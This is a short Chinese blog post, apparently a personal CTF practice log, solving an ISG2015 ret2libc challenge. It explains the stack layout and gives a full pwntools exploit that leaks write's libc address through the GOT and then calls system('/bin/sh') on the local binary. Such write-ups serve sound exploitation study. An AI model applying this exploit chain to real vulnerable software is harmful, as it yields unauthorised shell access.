2019-11-12摸鱼一号

要认真学习!(破音)

很久没写了手都生了,先从简单的rop开始起手,之后慢慢增加难度
会每天坚持的!除非我死了(不是

一道ret2libc的题
是ISG2015的题

先IDA


图片.png

很简单的结构,用的版本直接告诉了是libc-2.19
另外这里ida buf到ebp的距离是有问题的,实际调试距离是16

程序中给出的可用的函数的数据有:
write_plt_add
write_got_add

read_plt_add
read_got_add

write函数的第一个参数 0 1 2 分别对应 标准输入 标准输出 标准出错,那么可以利用write得到函数的真实地址,然后后面就是retlibc的标准操作惹

布置栈结构应该为
[
'A'18,
'A'
4,
write_plt_add,
main,
0x1,
write_got_add,
0x4,
//以上用于获得write真实地址
'A'*12 //这里不知道为啥上一次的A会遗留到这次,导致真正的偏移不是原本的22
system,
'bbbb',
'/bin/sh'
]

from pwn import *
context.log_level="debug"

sh=process('./pwnme')
libc=ELF('/lib32/libc.so.6')

write_plt_add=0x08048370
write_got_add=0x0804a01c


read_plt_add= 0x08048330
read_got_add= 0x0804a00c

mian_add=0x804847D

libc_system=libc.symbols['system']
libc_write=libc.symbols['write']
libc_read=libc.symbols['read']
libc_binsh=next(libc.search('/bin/sh'))


p1='A'*20
p1+=p32(write_plt_add)+p32(mian_add)+p32(0x1)+p32(write_got_add)+p32(0x4)
sh.recvuntil(':')
pwnlib.gdb.attach(sh)
sh.sendline(p1)

print sh.recvline()
write_real_add=u32(sh.recv()[0:4])
print hex(write_real_add)


libc_add=write_real_add-libc_write
system_real_add=libc_add+libc_system
libc_real_binsh=libc_add+libc_binsh


p2='a'*12+p32(system_real_add)+'bbbb'+p32(libc_real_binsh)


sh.sendline(p2)
sh.interactive()

本来一堆调试的截图,妈的不知道为啥没保存,不想补了
辣鸡
he tui!

你可能感兴趣的:(2019-11-12摸鱼一号)